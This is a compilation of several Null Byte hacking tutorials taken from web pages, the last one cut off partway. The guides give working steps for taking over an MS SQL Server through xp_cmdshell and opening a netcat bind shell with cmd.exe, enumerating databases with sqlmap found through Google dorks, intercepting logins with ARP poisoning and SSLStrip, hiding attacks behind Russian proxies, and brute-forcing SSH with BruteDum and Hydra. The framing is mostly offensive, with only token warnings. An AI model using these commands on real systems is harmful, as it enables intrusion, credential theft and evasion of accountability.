How to Hack Databases: Running CMD Commands from an Online MS SQL Server « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!There aremany ways to hack databases, and most of these techniques require SQL injection (SQLi), which is a way of sending SQL commands back to the database from a web form or other input. In this tutorial, we will use SQL injection to get access to the underlying server. So instead of getting access to the database and its data, we will use the database as an intermediary to gain access to the underlying server.Nearly all commercial databases—MS SQL Server, Oracle, MySQL, DB2, etc.—have built-in system stored procedures (SP). This is code provided by the developer to help the system administrator get common tasks done.Often, the system admin of a database will need access to the underlying server, so Microsoft provides an SP calledxp_cmdshellon their SQL Server. When the system admin executes this SP, they get a command prompt on the underlying server that is hosting the database.This SP was once enabled by default on all Microsoft SQL Server installations, but because it was exploited by hackers so often, Microsoft had disabled it by default—but we can still access it and wreak havoc!Of course, to access this SP remotely, we will need the login credentials of the system admin. By default, Microsoft packages their SQL Server with a system administrator account named "sa" and few system admins change it. You can use a tool suchSQLdictorMetasploit's own auxiliary module,sql_login, to gain the sa password and use it in this hack.If we can execute CMD commands on the victim system, we cannot only runreconnaissanceon it, but we can also own it with enough knowledge of the system and knowledge of Windows commands.Step 1: Open a TerminalTo start, as usual, fire upKaliand open a terminal.Step 2: Open MetasploitLet's start the Metasploit console by typing:kali > msfconsoleThis should open a console that looks similar to this.Step 3: Load the Auxiliary ModuleNow, we need to load themsql_execauxiliary module.msf > use auxiliary/admin/mssql/mssql_execNow that we have loaded the module, let's take a look at the info page for it. Type:msf > infoAs you can see below, we have several key variables we have to set including CMD, RHOST, and PASSWORD.In this case, I set the RHOST to the IP of the database server, the PASSWORD to the "sa" account password that Icrackedearlier (nullbyte), and command I want to run on the command shell on the server, in this case, 'dir' to get a directory listing. Make certain that the command is between single quotation marks.When these variables have been set, simply type "run."msf > runThis module will access thexp_cmdshellstored procedure, even though it is disabled, and return the results of the command.As you can see, this command has been sent to thexp_cmdshelland executed thediron the underlying server. The output is a directory listing from theC:\WINDOWS\system32directory.Step 4: Use the SP for ReconnaissanceTo do a bit of reconnaissance on this server, we could send a "netstat" to the server to see all the connections to the system.msf > set CMD 'netstat'msf > runStep 5: Send Multiple CommandsSending single commands is all well and good, but there is not a lot of significant actions we can do with a single command with the exception of maybe a file deletion (del). We can send multiple commands by simply putting "&" in-between the commands, such as:msf > set CMD 'cd \ & dir'Now, when we run this module, it should change directories to the root directory on the Windows machine (C:) and then do a directory listing.As you can imagine, we could travel throughout the directory structure in this way to find confidential or critical information and read or delete it.Step 6: Run a Hidden Exe. FileYou might have noticed that the system admin on the server has aNetcatexecutable in the root directory. They probably left it there for remote administration or other tasks. Now that we know it is there, we can run it from this module.msf > set CMD 'cd \ & nc -L -p6996 -e cmd.exe'This will change directory to the root directory where the Netcat resides and then open a Netcat listener (-L) on port 6996 (-p6996) and push a command shell through the listener. Let's try it.It looks like it executed successfully. Now, let's try to connect to the listener withNetcaton our Kali system.msf > ns 192.168.181.105 6996Success! We now have command prompt on the remote system and we own it!It's important to note that a knowledge of command line commands is key to being successful in this type of hack. Most of our tutorials here have focused onLinuxcommands, but Windows can be run successfully from the command line as well, especially withPowerShell. To do so, you need to know these commands in Windows as well as Linux. Even the registry can be altered from the command line!I'll do a short tutorial in the near future on running Windows from the command line that should be helpful in this type of hack. So keep coming back, my hacker novitiates, as we explore the tools and techniques of the world's most valuable skill set—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Databases:Hunting for Microsoft's SQL ServerSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHow To:Use SQL Injection to Run OS Commands & Get a ShellHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:SQL Injection! -- Detailed Introduction.Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Enumerate MySQL Databases with MetasploitSQL Injection 101:Advanced Techniques for Maximum ExploitationSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHow To:Hack a Microsoft SQL ServerHow To:Gather Information on PostgreSQL Databases with MetasploitHow To:Hack websites with SQL injectionHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Coding with Typo:Structured Query Language (SQL) Part 1: What Is SQL?How To:Attach or detach a database in SQL Server 2005 ExpressHow To:Grab All the PasswordsSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfSQL Injection 101:How to Avoid Detection & Bypass DefensesHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1How To:Successfully Hack a Website in 2016!How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHack Logs and Linux Commands:What's Going On Here?How To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:PostgreSQL Quick StartGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Recover WinRAR and Zip PasswordsHow To:Hack Wireless Router Passwords & Networks Using HydraGoogle Dorking:AmIDoinItRite?Goodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow To:Protect Your PHP Website from SQL Injection HacksIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:The server timeHow To:Enable full-text search in an SQL database |
How to Hack Databases: Hacking MySQL Online Databases with Sqlmap « Null Byte :: WonderHowTo | Welcome back, my amateur hackers!In this tutorial, we will follow up on a previous tutorial onMySQL. In that tutorial, I showed you the basics of running a MySQL server on BackTrack. In addition, you might want to take a look at my tutorial on the basics ofdatabases, if you are not familiar with databases and DataBase Management Systems (DBMS). Since MySQL is SO important in so many web applications, I will be doing more MySQL tutorials in the future. The more you know about MySQL, the better you can hack MySQL!Generally, MySQL is teamed up with PHP and an Apache web server (often referred to as LAMPP or XAMPP) to build dynamic, database driven web sites. Such development packages as Drupal, Joomla, Wordpress, Ruby on Rails and others all use MySQL as their default database. Millions of websites have MySQL backends and very often they are "homegrown" websites, without much attention on security.In this tutorial, we will looking to extract information about an online MySQL database before we actually extract information from the database. Once again, I'll repeat, the more we know, the more successful we will be in hacking and the less chance you will be detected.Here, we will be using one of the best database hacking tools available,sqlmap. Sqlmap can be used for databases other than MySQL, such Microsoft's SQL Server and Oracle, but here we will focus its capabilities on those ubiquitous web sites that are built with PHP, Apache and MySQL.Step 1: Start SqlmapFirst, fire up BackTrack and go toBackTrack, thenInformation Gathering, thenDatabase Analysis, thenMySQL Analysisand finally,sqlmapas shown in the screenshot below.Step 2: Find a Vulnerable Web SiteIn order to get "inside" the web site and ultimately, the database, we are looking for web sites that end in "php?id=" where XXX represents some number. Those who are familiar with google hacks/dorks can do a search on google by entering:inurl:index.php?id=inurl:gallery.php?id=inurl:post.php?id=inurl:article?id=...among others.This will bring up literally millions of web sites with this basic vulnerability criteria. If you are creative and ambitious, you can find numerous web sites that list vulnerable web sites. You might want to check these out.For our purposes here and to keep you out of the long reach of the law, we will be hacking a website designed for this purpose,www.webscanhost.org. We can practice on this web site and refine your skills without worrying about breaking any laws and having to make bail money for you.Step 3: Open SqlmapWhen you click on sqlmap, you will be greeted by a screen like that below. Sqlmap is a powerful tool, written as a Python script (we will be doing Python tutorial soon) that has a multitude of options. We will just be scratching the surface of its capabilities in this tutorial.Step 4: Determine the DBMS Behind the Web SiteBefore we begin hacking a web site, we need to gather information. We need to know WHAT we are hacking. As I have said many times before, most exploits are very specific to the OS, the application, services, ports, etc. Let's begin by finding out what the DBMS is behind this web site.The start sqlmap on this task, we type:./sqlmap.py -u "the entire URL of the vulnerable web page"or this case:./sqlmap.py -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4"When we do so, sqlmap will return results like that below. Notice where I highlighted that the web site back-end is using MySQL 5.0Step 5: Find the DatabasesNow that we know what the database management system (DBMS) is MySQL 5.0, we need to know what databases it contains. sqlmap can help us do that. We take the command we used above and append to it--dbs, like this:./sqlmap.py -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dbsWhen run this command againstwww.webscantest.comwe get the results like those below. Notice that I have highlighted the two available databases,information schemaandscanme. Information schema is included in every MySQL installation and it includes information on all the objects in the MySQL instance, but not data of interest. Although it can be beneficial to explore that database to find objects in all the databases in the instance, we will focus our attention on the other database here ,scanme, that may have some valuable information. Let's explore it further.Step 6: Get More Info from the DatabaseSo, now we know what the DBMS is (MySQL 5.0) and the name of a database of interest (scanme). The next step is to try to determine the tables and columns in that database. In this way, we will have some idea what data is in the database, where it is and what type of data (numeric or string). All of this information is critical and necessary to extracting the data. To do this, we need to make some small revisions to our sqlmap command. Everything else we have used above remains the same, but now we tell sqlmap we want to see the tables and columns from the scanme database. We can append our command with--columns -Dand the name of the database,scanmesuch as this:./sqlmap.py -u "http://www.webscantest.com/datastore/search_get_by_id.php?id=4" --dbs --columns -D scanmeWhen we do so, sqlmap will target the scanme database and attempt to enumerate the tables and columns in the scanme database.As we can see below, sqlmap successfully was able to enumerate three tables; (1) accounts, (2) inventory, and (3) orders, complete with column names and datatypes. Not Bad!Note that the orders table below includes credit card numbers, expiration dates and CVV. The hacker's "Golden Fleece"!!As you can see, sqlmap can be very versatile and useful tool for MySQL, as well as SQL Server and Oracle database hacking. We will plan on coming back to sqlmap in the near future to explore more of its extensive database hacking capabilities.Keep coming back, my amateur hackers, for more adventures in Hackerland!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)SQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:Enumerate MySQL Databases with MetasploitHow To:Hack TOR Hidden ServicesHow To:Use PHP to login to a MYSQL databaseHow To:The Art of 0-Day Vulnerabilities, Part3: Command Injection and CSRF VulnerabilitiesHow To:Create a MySQL user login database with PHPHow To:Import Excel to a MySQL database with cPanelHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Export a MySQL database table to Excel with cPanelHow To:Make a MySQL database for CoffeeCup Form BuilderHow To:Connect to a database & add data in PHP & MYSQLHow To:Access and edit databases in MySQL Query BrowserHow To:Transfer data between 2 MySQL databases in DreamCoderHow To:Connect to a MySQL database using DreamCoderHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHow To:Synchronize two MySQL databases with DreamCoderHack Logs and Linux Commands:What's Going On Here?How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:ShouldIChangeMyPassword.comIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Accessing a PostgreSQL Database in your C/C++ ProgramNews:PostgreSQL Quick Start |
How to Defeat SSL in Practice with SSL Strip « Null Byte :: WonderHowTo | SSL stands forSecureSocketLayer. It's an encryption standard used on most sites' login pages to avoid their users' passwords being packet sniffed in simple plain-text format. This keeps the users safe by having all of that traffic encrypted over an "https" connection. So, whenever you see "https://" in front of the URL in your browser, you know you're safe... or are you?In thisNull Byte, I'm going to show you how to perform a MITM (Man-In-The-Middle) attack on someone via ARP poisoning. ARP poisoning is a technique used to trick a client into thinking that your computer is the router, and to forward all their traffic to you. This allows you to sniff out all the traffic before sending it to the actual router.After that, we are going to strip the SSL layer as well, so you can intercept any login, even logins "protected" by SSL. There is a new tool out called BEAST, which decrypts SSL/TLS via an encryption flaw. However, we will be usingMoxie Marlinspike'sSSL Strip which removes the SSL layer, but makes the connection appear to be normal.How SSL Strip WorksAn attacker picks a target to attack. After, they spoof themselves to appear as the wireless access point by making their Media Access Control (MAC) address identical to the router's. While they appear to be the router, they send packets to the client/target requesting their packets, thus creating a MITM topology.The client then forwards requests to the attacker, and the attacker takes the requests and retrieves them from the server for the client. After they recieve it, the SSL layer gets stripped and the page is sent to the target. The victim then forwards their packets to the attacker unknowingly, while their private information is picked out of it. SSL Strip puts the SSL layer back on, fills it out, and sends it to the server. Everything looks fine to the server and client, except the attacker gets the information they desire.This is going to be done using Linux, because Windows does not have wireless drivers capable of going into monitor mode. I suggest trying this on yourself on a home network, with two laptops and your friends.WarningsDon't perform this on people in public, this is a proof of concept to show you why SSL is still vulnerable, and how you can protect yourself usinga guideI published previously. Do this on your home network, or you will get caught.Step1Tools Needed for SSL StripThe following tools can be found in any package repository:dsniffsslstripiptablespythonpython-twistedettercapwiresharkIn Arch Linux, I do this command in a terminal to download and install them (Ubuntu users, replace "pacman -S" with apt-get install"):sudo pacman -S dsniff iptables python2 python-twisted ettercap wiresharkNow, download SSL Strip from Moxie, while following the install instructions onhis page.Step2Sniffing Traffic (Non-HTTPS)Get your wireless card into monitor mode, so you're capable of sniffing traffic.sudo ifconfig wlan0 down && sudo ifconfig wlan0 mode monitor && sudo ifconfig wlan0 upNow, run wireshark in a terminal to capture airborne packets.sudo wiresharkLook in the packet information for usernames and passwords in hexadecimal conversion.Step3Sniffing Traffic (Using HTTPS)When these commands are entered in the terminal, you need to leave them running, so open a new tab or terminal for each running command.First we need to scan the local network for our target IP. This means we are pinging everyone on the local network and when we get replies, we can see their IP and pick them as a target.sudo nmap -sP 192.168.1.0/24Make sure to paste your test computer's IP somewhere, maybe in a text document so that you can paste in the commands later.Next, we need to enable IP forwarding: (This allows you to forward traffic to/from a client, port and interface that you specify.)sudo echo 1 > /proc/sys/net/ipv4/ip_forwardNow we need to set up our interception. This tells your iptables that you want to pre-route your incoming port 80 traffic (HTTP) to 1024, because this is where you will be sniffing your traffic from.iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1024It's time to ARP poison your second computer to make it send traffic to you.sudo arpspoof -i [interface] -t [router ip, target ip]Next we strip the SSL layer off our target, taking the encrypted layer off to be forwarded to our victim (it even puts the favicon back on so it looks like it's still HTTPS!). Change directories to wherever you saved SSL Strip before typing this.python sslstrip.py -l 1024Finally, set up ettercap to capture traffic between you and the client.sudo ettercap -Tq -i [interface]Now, go log in to an SSL page, or tell your friend to log in to one, and you will get their traffic. It's simple, and most of this could be tossed into a script for fast attacking.How Can I Defend Myself?Don't use Wi-Fi you don't trustTunnel your traffic back home, if you must use public Wi-Fi. You can find a good guide, written by me forWindows, andLinux.Don't access sensitive sites on-the-go!Jump in the IRC channel by followingthis tutorialto ask me and other members questions, one-on-one!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byclshackRelatedHow To:Encrypted Sites May Not Be Safe to Visit Using Chrome's Default SettingsHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Perform Google searches over SSL when using Mozilla FirefoxHow To:Patch the SSL Bug Without Updating Your Jailbroken iPad or iPhone to iOS 7.0.6How To:Build a free SSL VPN on Linux or WindowsHow To:Configure F5's FirePass v7 SSL Endpoint SecurityHow To:Hack SSL passwords with ARP poisoningHow To:Use SSLStrip to remove encryption from browserHow To:Sync Your Google Contacts with Your iOS Device Using CardDAVHow To:Inject Payload into Softwares via HTTPHow To:Scan for Vulnerabilities on Any Website Using NiktoHow To:Add Your iCloud Email Account to Your Galaxy Note 3 or Other Android DeviceHow To:Secure your Gmail accountHow To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiHow To:Chrome Shares Your Activity with Google - Here's How to Use Comodo Dragon to Block ItMastering Security, Part 1:How to Manage and Create Strong PasswordsAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeNews:Apple Developers Running Beta Builds of iOS 7.1 Still Vulnerable to SSL Security FlawNews:The Fog of WillNews:This guy ins mixing killer DNA. Watch out!Math Craft Monday:Community Submissions (Plus How to Make Mobius Strips) |
The Hacks of Mr. Robot: How Elliot & Fsociety Made Their Hack of Evil Corp Untraceable « Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!Well, the first season ofMr. Robotjust ended and Elliot and fsociety successfully took down Evil Corp! They have effectively destroyed over 70% of the world's consumer and student debt! Free at last! Free at last!Of course, global financial markets crashed as well, but that's another story.Although there were many elements that made the hack successful, such as Darlene developing a zero-day exploit (I'll showing you how to do that in a future article) that none of the intrusion detection systems, firewalls, or antivirus softwares detected, Elliot also made certain that the hack could not be traced back to him by using proxies.Early in the last episode, Lenny, the former boyfriend of Elliot's therapist, Krista, reveals to Krista that he had been hacked by Elliot. He points out that Elliot is nearly untraceable as he uses a proxy from Estonia. In this tutorial, I will show how Elliot bounced his attack off an Estonian (or other) proxy in order to make his hacks untraceable.How Proxies WorkAs you know, whenever you visit (or hack) a website or server over the Internet, your unique Interpret Protocol (IP) address travels with you. It would then be very easy to trace the source of an attack by simply tracing the source IP address.Hackers, though, often use proxies to hide or obscure their IP address. In this way, they send their traffic to an intermediary proxy, who then sends the traffic on to the destination, replacing the source IP address with its own. In this way, the malicious traffic appears to be coming from the proxy and not the original sender.Before I start, I want to point out that there are multiple types of proxies. One of the more popular, anonymous proxies isTor. Although Tor is effective in anonymizing your traffic from Google and other commercial tracking, it is not effective in anonymizing your traffic from law enforcement, especially the NSA.As Elliot points out inthe pilot episode, when he is explaining to the coffee shop owner who is also a child pornographer, "Whoever's in control of the exit nodes is also in control of the traffic, which makes me the one in control." He owns the exit node, owns the traffic, and hence, the identity of the users.Now, let's see how Elliot and fsociety hid their identity in their hacks!Step 1: Fire Up KaliTo get started, fire upKali Linux. If don't already have Kali, you candownload it here.Step 2: Go to ProxychainsNext, let's go to proxychains. Type:kali > proxychainsWhen you do so, it shows you the simple proxychains syntax. Basically, after setting up proxychains, all you need to do is precede the command you want to run with the command "proxychains" and all of your Internet traffic will go through your chosen proxy. As we will see later in this tutorial, if we want to browse the Web with our browser, we can simply start our browser by preceding it with proxychains, such as:kali > proxychains iceweaselStep 3: Search for ProxiesIn order to set up proxychains to hide our IP address, we will need to select a proxy. There are many sites on the Web with lists of free and paid proxies. Some of these include, but are not limited to:Hide My Ass!SamAir SecurityProxy4FreeHide.meLet's try usingSamAir Security. When we navigate there, we can see their list of free proxies.Near the bottom of the page, we can see that they have sorted the proxies by country. Remember, Elliot was using a proxy in Estonia. This list has one proxy listed in Estonia.When click on it, we can see that this one proxy in Estonia is a transparent proxy. This means it won't hide our IP. That won't work!Instead, let's try the list of Russian proxies. Many hackers use Russian proxies as EU and U.S. law enforcement do not have jurisdiction in Russia. This means there is little or no chance of tracing their identity.We can see that there are five "high-anonymous" proxies in Russia on this list. Let's us one of those.Step 4: Configure ProxychainsNow that we have a list of potential anonymous proxies, we have to configure proxychains to use it. Like nearly all Linux/Unix applications, configuration is done by a plain text file. These files are generally found in the/etcdirectory. In this case, the configuration file for proxychains is found at:/etc/proxychains.confWe can open it with any text editor, but I will use Leafpad here.kali > leafpad /etc/proxychains.confThis opens the configuration file for proxychains as seen below. Near the bottom of the file is the critical part. Here is where we tell proxychains which proxy to use.By default, proxychains is setup to use Tor. As Elliot expressed in episode one, he who controls the exit node of Tor controls the traffic. Elliot is certainly aware that the NSA and law enforcement know this as well and would not want to use Tor. To disable Tor, simply put a comment mark (#) before line #64.Now, to use one of our Russian proxies, we simply need to add the type of proxy (http) and the IP address and port for that proxy as I have done above. Then, save theproxychain.conffile and close it.Step 5: Send Traffic Through ProxyLastly, if we want to send our HTTP traffic while browsing the Web through that Russian proxy, we simply open our Iceweasel browser by typing:kali > proxychains iceweaselNow, all of our traffic will go through the proxy and will appear to be coming from that proxy should anyone inspect the traffic.Stay Tuned for More Hacking LessonsIf you want to learn more about hacking, please take the time to exploreNull Byte. If you are interested in becoming a professional hacker, check out my article "How to Use Null Byte to Study to Become a Professional Hacker." Finally, keep coming back my tenderfoot hackers, as I continue to demonstrateeach of Elliot's and fsociety's hacks!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedThe Hacks of Mr. Robot:How Elliot & Fsociety Destroyed Evil Corp's DataNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiThe Hacks of Mr. Robot:How to Hack BluetoothThe Hacks of Mr. Robot:How to Hide Data in Audio FilesThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageNews:ProntonMail under DDoS AttackNews:A Game of Real HackingNews:Emotion-Sensing Robot Ready to Love?How To:Learn How Elliot from Mr. Robot Hacked into His Therapist's New Boyfriend's Email & Bank Accounts (Using Metasploit)How To:Hack Your Resume to Fool Keyword-Hunting Robots & Land Yourself More Interviews (The Evil Way)The Hacks of Mr. Robot:How to Send Ultra-Secure EmailsHow To:Build a Programmable Robot with Snap CircuitsMr. Robot:Hacking Sequence ExplainedHow To:9 Ways to Get People to Do What You WantNews:Valero Energy Corp.How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Noob's Introductory Guide to Hacking: Where to Get Started?How To:Things to Do on WonderHowTo (02/01 - 02/07)Hacking in the Media:Our Craft's Portrayal as Black MagicArduino Air Force:DIY Robotic Cardboard QuadcoptersResident Evil:Afterlife |
How to Brute-Force SSH, FTP, VNC & More with BruteDum « Null Byte :: WonderHowTo | Brute-forcing is an easy way of discovering weak login credentials and is often one of the first steps when a hacker finds network services running on a network they gain access to. For beginners and experienced hackers alike, it's useful to have access to the right tools to discover, classify, and then launch customized brute-force attacks against a target. BruteDum does it all from a single framework.Weak Passwords Are Easy PreyWhen a hacker gains access to a system with services running on it, one of the first things they'll typically do is see if they can log in to any of those services using default or common credentials. Internet of Things (IoT) hardware and devices like routers are often left with default passwords enabled, making them easy to attack.To test the services they discover for weak passwords, the hacker needs to select the right tool for the job, and it can be confusing to know which tool is the best to use against a particular service.Don't Miss:Use Facial Recognition for OSINT on Individuals & CompaniesBruteDum is a Python tool that allows a hacker to acquire a target first and run a scan inside the framework to determine the best tool based on what is discovered. It's easy to run a brute-force or dictionary attack against nearly any standard protocol that's vulnerable to it.The advantage of running BruteDum over specific tools is the ability to run a scan from within to identify what other processes may be running on the same device, as well as organizing powerful tools for breaking into user accounts on services like SSH.Online or Connected AttacksUnlike attacks launched against WPA networks where we can grab a hash and attempt cracking later, we need to be connected to our target directly over the network to try a brute-forcing or dictionary attack. While there are ways of hiding our identity with a VPN orTor, brute-force and dictionary attacks can be limited in effectiveness through a variety of different means.One way of limiting brute-force and dictionary attacks is through rate-limiting, in which a lockout is triggered after a set amount of incorrect login attempts. That, combined with flagging suspicious login attempts, can make brute-force and dictionary assaults more likely to alert a target that they are under attack.To execute an online dictionary attack, we'll be usingTHC Hydra,Medusa, orNcrackagainst the services we discover, using BruteDum to scan and organize our attacks between these tools. We'll also need a password list, which will be critical to the success or failure of our dictionary attack. If the password list is too large, it will take too long to attack the network, and if it isn't reasonably long enough to contain the password, we run the risk of it not being in the list, causing the attack to fail.What You'll NeedTo follow this guide, you'll needPython3installed on your system. Also, I recommend usingKali Linux, as it should have most of the required programs installed by default. If you're doing this on another system, you'll need to make sure that you have all the prerequisite programs installed.If you're not using Kali Linux, you can useUbuntuor Debian, but you'll need to make sure you haveHydra,Medusa, andNcrackinstalled. You'll also needNmapfor scanning.We'll also need a password list to test, and in this case, we'll be downloading it to a folder we create later. If you have a favorite password list, you'll need to copy it to the folder we'll be making.Step 1: Download & Set Up BruteDumTo get started, we'll need to download the repository from GitHub. In a new terminal window, you can type in the following command to clone the repo.~$ git clone https://github.com/GitHackTools/BruteDum
Cloning into 'BruteDum'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 15 (delta 2), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (15/15), done.And this one to navigate into the directory:~$ cd BruteDumFrom inside this folder, you'll be able to run BruteDum. Before we do, we should take care of one small quirk. I found that BruteDum couldn't find password lists saved outside the BruteDum folder, so the solution seems to be adding our password list directly there. To do this, I'll simply take one off GitHub, and I'll download it to the folder I'm in using thewgetcommand.~/BruteDum$ wget https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top207-probable-v2.txt
--2020-01-10 17:19:59-- https://raw.githubusercontent.com/berzerk0/Probable-Wordlists/master/Real-Passwords/Top207-probable-v2.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1620 (1.6K) [text/plain]
Saving to: ‘Top207-probable-v2.txt’
Top207-probable-v2. 100%[===================>] 1.58K --.-KB/s in 0s
2020-01-10 17:19:59 (53.3 MB/s) - ‘Top207-probable-v2.txt’ saved [1620/1620]Once it's done, we can run BruteDum by typing the following command.~/BruteDum$ python3 brutedum.py
888888 888888 BRUTE
8 8 eeeee e e eeeee eeee 8 8 e e eeeeeee FORCE
8eeee8ee 8 8 8 8 8 8 8e 8 8 8 8 8 8 JUST
88 8 8eee8e 8e 8 8e 8eee 88 8 8e 8 8e 8 8 FOR
88 8 88 8 88 8 88 88 88 8 88 8 88 8 8 THE
88eeeee8 88 8 88ee8 88 88ee 88eee8 88ee8 88 8 8 DUMMIES
[i] BruteDum - Brute Force attacks SSH, FTP, Telnet, PostgreSQL, RDP, VNC with Hydra, Medusa and Ncrack
Author: https://GitHackTools.blogspot.com
[?] Enter the victim address:Step 2: Enter the Target AddressAfter the loading screen finishes, we'll need to enter the IP address of the victim. Once you've done so, pressEnter, and you'll be presented with the option to run an Nmap scan. It's a handy feature that can help you discover other services open on the same device. TypeYand hitEnterto run the Nmap scan.[?] Enter the victim address: 192.168.43.1
[?] Do you want to scan victim's ports with Nmap? [Y/n]: YWhen the results return, you should be able to identify any ports that come back as "open." Next, you'll need to select a service to crack. The menu for doing so is quite easy to understand, and you can choose one that matches the service that our Nmap scan discovered.[+] Scanning ports with Nmap...
Starting Nmap 7.70 ( https://nmap.org ) at 2020-01-10 02:57 PDT
Nmap scan report for 192.168.43.1
Host is up (0.0087s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
MAC Address: ███.███.███.███.███.███
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
[1] FTP [2] Telnet
(Default port is 21) (Default port is 23)
[3] PostgreSQL [4] SSH
(Default port is 5432) (Default port is 22)
[5] RDP [6] VNC
(Default port is 3389) (Default port is 5900)
[?] Which protocol do you want to crack? [1-6]: 4In our example, we'll select option4and hitEnterto indicate we want to do SSH cracking.Step 3: Select the ToolNow, we'll need to determine the tool we'll be using to try cracking the password. Depending on what service we selected, BruteDum will recommend one to use.888888 888888 BRUTE
8 8 eeeee e e eeeee eeee 8 8 e e eeeeeee FORCE
8eeee8ee 8 8 8 8 8 8 8e 8 8 8 8 8 8 JUST
88 8 8eee8e 8e 8 8e 8eee 88 8 8e 8 8e 8 8 FOR
88 8 88 8 88 8 88 88 88 8 88 8 88 8 8 THE
88eeeee8 88 8 88ee8 88 88ee 88eee8 88ee8 88 8 8 DUMMIES
[i] BruteDum - Brute Force attacks SSH, FTP, Telnet, PostgreSQL, RDP, VNC with Hydra, Medusa and Ncrack
Author: https://GitHackTools.blogspot.com
[i] Target: 192.168.43.1
Protocol: ssh
[1] Ncrack
[2] Hydra (Recommended)
[3] Medusa
[?] Which tool do you want to use? [1-3]: 2We'll select Hydra, as it's the one recommended for cracking SSH. Type2to indicate Hydra (or the number of the tool you wish to use) and pressEnterto begin configuring it.Step 4: Set Username & Password ListsTo launch our attack, we'll need to make a time versus probability tradeoff. Our first option will be to select a username list. That means we'll be trying every password in our password list with every username in our username list. It can become a lot of attempts very quickly.In our example, we can selectNto decline using a username list. Instead, we'll use a common username, or one we might know exists by default on the type of device.[i] Target: 192.168.43.1
Protocol: ssh
